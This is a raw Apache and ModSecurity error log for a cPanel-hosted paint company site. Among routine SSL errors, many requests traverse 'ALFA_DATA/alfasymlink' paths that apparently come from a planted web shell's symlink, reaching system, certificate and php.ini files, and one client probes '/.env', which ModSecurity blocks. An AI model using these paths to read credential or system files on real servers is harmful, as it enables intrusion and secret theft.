[Sun Oct 25 05:55:34.101238 2026] [security2:error] [pid 2806341:tid 2806341] [client 43.157.180.116:48272] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "at3SFl7qbMmJbBwRWmCzZwAAAAA"], referer: http://sherwinpinturas.com
[Sun Oct 25 05:55:34.113047 2026] [authz_core:error] [pid 2806341:tid 2806341] [client 43.157.180.116:48272] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com
[Sun Oct 25 05:55:34.318595 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 44.223.193.255:3156] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:55:42.179018 2026] [ssl:error] [pid 2800176:tid 2800176] (5)Input/output error: [client 3.212.205.90:25704] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:55:50.226891 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 98.83.177.42:20886] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:55:55.766162 2026] [core:error] [pid 2799892:tid 2799892] (13)Permission denied: [client 85.208.96.204:38218] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_queue/trace
[Sun Oct 25 05:56:02.329596 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 44.209.35.147:44795] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:56:02.329785 2026] [security2:error] [pid 2800259:tid 2800259] [client 44.209.35.147:44795] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input4/mouse0/subsystem/input1/device/firmware_node/physical_node1/firmware_node/path"] [unique_id "at3SMr2dQNaDuK1aHdolRQAAAAs"]
[Sun Oct 25 05:56:02.329813 2026] [security2:error] [pid 2800259:tid 2800259] [client 44.209.35.147:44795] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/mouse1/subsystem/input4/mouse0/subsystem/input1/device/firmware_node/physical_node1/firmware_node/path"] [unique_id "at3SMr2dQNaDuK1aHdolRQAAAAs"]
[Sun Oct 25 05:56:10.151890 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 34.235.239.240:46276] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:56:14.168410 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 100.29.128.75:61971] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:56:18.162963 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 34.239.197.197:7152] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:56:21.087663 2026] [core:error] [pid 2806345:tid 2806345] (13)Permission denied: [client 85.208.96.207:50464] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/configfs_dir_cache/objs_per_slab
[Sun Oct 25 05:56:22.146546 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 54.80.185.200:44656] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:56:34.146035 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 52.4.229.9:10593] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:56:38.132059 2026] [security2:error] [pid 2799890:tid 2799890] [client 18.213.27.222:50535] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXPWRBN:00/wakeup/wakeup8/device/subsystem/drivers/thermal/"] [unique_id "at3SVmChNy-R5DAZy2u83QAAAA0"]
[Sun Oct 25 05:56:38.132110 2026] [security2:error] [pid 2799890:tid 2799890] [client 18.213.27.222:50535] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXPWRBN:00/wakeup/wakeup8/device/subsystem/drivers/thermal/"] [unique_id "at3SVmChNy-R5DAZy2u83QAAAA0"]
[Sun Oct 25 05:56:39.015484 2026] [security2:error] [pid 2799892:tid 2799892] [client 178.222.25.229:45890] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/pyro/php81/import.php"] [unique_id "at3SVpVuuRM02w6bkBPGPQAAAAM"]
[Sun Oct 25 05:56:39.015574 2026] [security2:error] [pid 2799892:tid 2799892] [client 178.222.25.229:45890] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/pyro/php81/import.php"] [unique_id "at3SVpVuuRM02w6bkBPGPQAAAAM"]
[Sun Oct 25 05:56:42.298457 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 107.22.208.39:29935] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:56:46.147356 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 107.22.208.39:46657] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:56:50.146535 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 54.85.126.86:2503] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:57:06.264186 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.94.157.25:34275] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:57:10.155968 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 18.207.79.144:9240] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:57:22.167584 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 3.221.156.96:36134] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:57:26.196599 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 3.89.176.255:26938] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:57:30.266159 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 52.23.112.144:11839] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:57:34.168007 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 18.208.11.93:41671] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:57:38.145247 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 35.171.141.42:8294] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:57:39.238040 2026] [security2:error] [pid 2800300:tid 2800300] [client 43.135.186.135:37904] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/lentes2/"] [unique_id "at3Sk9yUatkAjssgRUdx2QAAAA4"]
[Sun Oct 25 05:57:46.157959 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 54.144.185.255:49011] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:57:50.151386 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 54.86.59.155:7419] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:58:05.316372 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 85.208.96.200:44520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-16/cpu_partial
[Sun Oct 25 05:58:10.158031 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 52.200.58.199:12014] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:58:18.187950 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.94.157.25:32970] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:58:26.235999 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 52.0.41.164:27342] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:58:30.168686 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 34.226.89.140:32894] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:58:41.613607 2026] [core:error] [pid 2806345:tid 2806345] (13)Permission denied: [client 85.208.96.199:21426] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-512/min_partial
[Sun Oct 25 05:58:42.197606 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 3.223.181.32:20266] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:58:46.186377 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 184.72.84.154:25591] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:58:58.198121 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 52.204.89.12:20201] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:59:02.440039 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.221.50.71:35908] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:59:10.133915 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 52.5.242.243:52095] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:59:14.157400 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 44.215.61.66:2306] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:59:38.219260 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.232.82.72:29280] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:59:40.824221 2026] [core:error] [pid 2806341:tid 2806341] (13)Permission denied: [client 85.208.96.199:23802] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kcopyd_job/remote_node_defrag_ratio
[Sun Oct 25 05:59:46.337747 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 54.204.12.115:19596] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:59:50.146588 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.71.203.206:37749] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 05:59:54.292912 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 3.219.81.66:18056] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:00:13.112506 2026] [core:error] [pid 2806348:tid 2806348] (13)Permission denied: [client 185.191.171.11:15158] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/destroy_by_rcu
[Sun Oct 25 06:00:18.244657 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 100.29.164.178:57764] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:00:22.436264 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 98.83.226.125:13582] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:00:30.151902 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 44.207.69.106:29512] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:00:34.148763 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 184.73.35.182:57553] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXCPU:00/physical_node/node0/memory4/node0/memory6/subsystem/uevent
[Sun Oct 25 06:00:38.235990 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 3.211.105.134:13061] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:00:38.396766 2026] [security2:error] [pid 2799892:tid 2799892] [client 85.208.96.194:23470] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/certs/clic1_sherwinpinturas_com_b8638_4f7d7_1796846114_fd1733eb206419a0d2407a29b525d37c.crt.cache"] [unique_id "at3TRpVuuRM02w6bkBPGTAAAAAM"]
[Sun Oct 25 06:00:38.396839 2026] [security2:error] [pid 2799892:tid 2799892] [client 85.208.96.194:23470] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/certs/clic1_sherwinpinturas_com_b8638_4f7d7_1796846114_fd1733eb206419a0d2407a29b525d37c.crt.cache"] [unique_id "at3TRpVuuRM02w6bkBPGTAAAAAM"]
[Sun Oct 25 06:00:42.193279 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 3.212.86.97:23751] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:05/physical_node/resource0
[Sun Oct 25 06:00:50.145084 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 98.83.177.42:35345] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:00:54.219247 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 44.221.180.179:60480] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:00:58.151656 2026] [security2:error] [pid 2800176:tid 2800176] [client 52.45.194.165:41022] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/virtio2/"] [unique_id "at3TWsAclEqdWzgpj08w3gAAAAc"]
[Sun Oct 25 06:00:58.151702 2026] [security2:error] [pid 2800176:tid 2800176] [client 52.45.194.165:41022] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/device:05/subsystem/devices/device:06/physical_node/driver/0000:00:05.0/virtio2/"] [unique_id "at3TWsAclEqdWzgpj08w3gAAAAc"]
[Sun Oct 25 06:01:06.207010 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 3.208.156.9:61879] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:01:14.140503 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 50.19.79.213:37467] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:01:18.165754 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 54.152.163.42:1168] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:01:30.260577 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 44.221.105.234:29774] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:01:34.196462 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 107.20.181.148:63584] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:01:39.208715 2026] [authz_core:error] [pid 2806347:tid 2806347] [client 189.163.179.171:58608] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Sun Oct 25 06:01:42.130414 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 34.204.150.196:61014] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:01:46.129939 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 98.82.63.147:29932] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:01:58.130334 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 50.19.221.48:22418] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:02:02.205990 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 100.29.164.178:59405] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:02:04.988726 2026] [proxy_fcgi:error] [pid 2799890:tid 2799890] [client 165.22.234.22:53460] AH01071: Got error 'Primary script unknown'
[Sun Oct 25 06:02:06.136940 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 18.211.39.188:57807] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:02:10.138725 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 52.204.174.139:51750] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:02:16.464826 2026] [core:error] [pid 2800176:tid 2800176] (13)Permission denied: [client 185.191.171.15:46166] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/red_zone
[Sun Oct 25 06:02:18.281936 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 34.234.197.175:3868] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:02:21.273732 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 185.191.171.4:39898] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:02:22.152130 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 98.82.59.253:55686] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:02:30.156405 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 50.16.248.61:43754] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:02:46.153272 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 52.204.37.237:17879] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:02:50.156083 2026] [ssl:error] [pid 2806347:tid 2806347] (70014)End of file found: [client 54.83.23.103:17532] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:02:58.186819 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 52.0.41.164:62584] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:03:06.147171 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 52.4.76.156:16340] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:03:14.126788 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 98.83.177.42:28091] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:03:18.133040 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 3.213.106.226:62481] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:03:26.148709 2026] [ssl:error] [pid 2800173:tid 2800173] (70014)End of file found: [client 184.73.195.18:55692] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:03:30.122543 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 23.23.99.55:52271] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:03:38.126021 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 52.7.13.143:3648] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:03:44.666396 2026] [security2:error] [pid 2806345:tid 2806345] [client 130.12.180.168:55644] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "casarin1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3UAEXTOYRMtW9O7Qy2aQAAAAI"]
[Sun Oct 25 06:03:44.666695 2026] [security2:error] [pid 2806345:tid 2806345] [client 130.12.180.168:55644] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "casarin1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3UAEXTOYRMtW9O7Qy2aQAAAAI"]
[Sun Oct 25 06:03:44.666961 2026] [security2:error] [pid 2806345:tid 2806345] [client 130.12.180.168:55644] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "casarin1.sherwinpinturas.com"] [uri "/.env"] [unique_id "at3UAEXTOYRMtW9O7Qy2aQAAAAI"]
[Sun Oct 25 06:03:46.125533 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 3.208.156.9:41860] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:03:50.123278 2026] [core:error] [pid 2800259:tid 2800259] (13)Permission denied: [client 3.235.215.92:64038] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/tty/ttyS1/device/tty/ttyS0/device/subsystem/drivers/tpm_tis/bind
[Sun Oct 25 06:03:54.165670 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 3.235.215.92:58418] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:03:58.128227 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 3.221.50.71:39413] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:03:58.158095 2026] [core:error] [pid 2806345:tid 2806345] (13)Permission denied: [client 185.191.171.17:50836] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache/free_calls
[Sun Oct 25 06:04:02.271546 2026] [ssl:error] [pid 2799890:tid 2799890] (70014)End of file found: [client 44.195.145.102:58207] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:04:04.693354 2026] [core:error] [pid 2800300:tid 2800300] (13)Permission denied: [client 185.191.171.3:38200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/objects
[Sun Oct 25 06:04:10.127789 2026] [ssl:error] [pid 2806348:tid 2806348] (70014)End of file found: [client 107.22.208.39:6738] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:04:14.172274 2026] [security2:error] [pid 2806341:tid 2806341] [client 52.202.233.37:57333] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory22/node0/subsystem/drivers/"] [unique_id "at3UHl7qbMmJbBwRWmCzhwAAAAA"]
[Sun Oct 25 06:04:14.172317 2026] [security2:error] [pid 2806341:tid 2806341] [client 52.202.233.37:57333] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory22/node0/subsystem/drivers/"] [unique_id "at3UHl7qbMmJbBwRWmCzhwAAAAA"]
[Sun Oct 25 06:04:18.140814 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 100.24.149.244:44924] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:04:26.145545 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 44.197.76.210:1978] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:04:30.119042 2026] [ssl:error] [pid 2806341:tid 2806341] (70014)End of file found: [client 3.218.35.239:27733] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:04:33.466018 2026] [core:error] [pid 2800173:tid 2800173] (13)Permission denied: [client 185.191.171.12:25544] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dax_cache/validate
[Sun Oct 25 06:04:42.148098 2026] [security2:error] [pid 2806341:tid 2806341] [client 34.196.237.236:13132] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0303:00/physical_node1/wakeup/wakeup10/subsystem/wakeup3/device/physical_node/"] [unique_id "at3UOl7qbMmJbBwRWmCziQAAAAA"]
[Sun Oct 25 06:04:42.148146 2026] [security2:error] [pid 2806341:tid 2806341] [client 34.196.237.236:13132] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/PNP0303:00/physical_node1/wakeup/wakeup10/subsystem/wakeup3/device/physical_node/"] [unique_id "at3UOl7qbMmJbBwRWmCziQAAAAA"]
[Sun Oct 25 06:04:46.134805 2026] [ssl:error] [pid 2800300:tid 2800300] (70014)End of file found: [client 52.202.52.82:30743] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:04:50.219161 2026] [core:error] [pid 2806347:tid 2806347] (13)Permission denied: [client 3.213.85.234:21099] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/node0/memory9/subsystem/uevent
[Sun Oct 25 06:05:14.147725 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 107.20.224.184:62343] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:05:18.275055 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 98.82.38.120:20229] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:05:34.175996 2026] [ssl:error] [pid 2799892:tid 2799892] (70014)End of file found: [client 54.84.169.196:56249] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:05:42.118889 2026] [ssl:error] [pid 2800300:tid 2800300] (5)Input/output error: [client 3.213.106.226:42497] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:05:46.118361 2026] [ssl:error] [pid 2806345:tid 2806345] (70014)End of file found: [client 100.29.128.75:61036] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:05:54.125444 2026] [ssl:error] [pid 2806348:tid 2806348] (5)Input/output error: [client 44.221.105.234:62298] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:06:06.146195 2026] [ssl:error] [pid 2800176:tid 2800176] (70014)End of file found: [client 3.216.13.10:25449] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 06:06:10.158144 2026] [ssl:error] [pid 2800259:tid 2800259] (70014)End of file found: [client 34.196.114.170:35881] AH02013: coalesce failed to read from data bucket
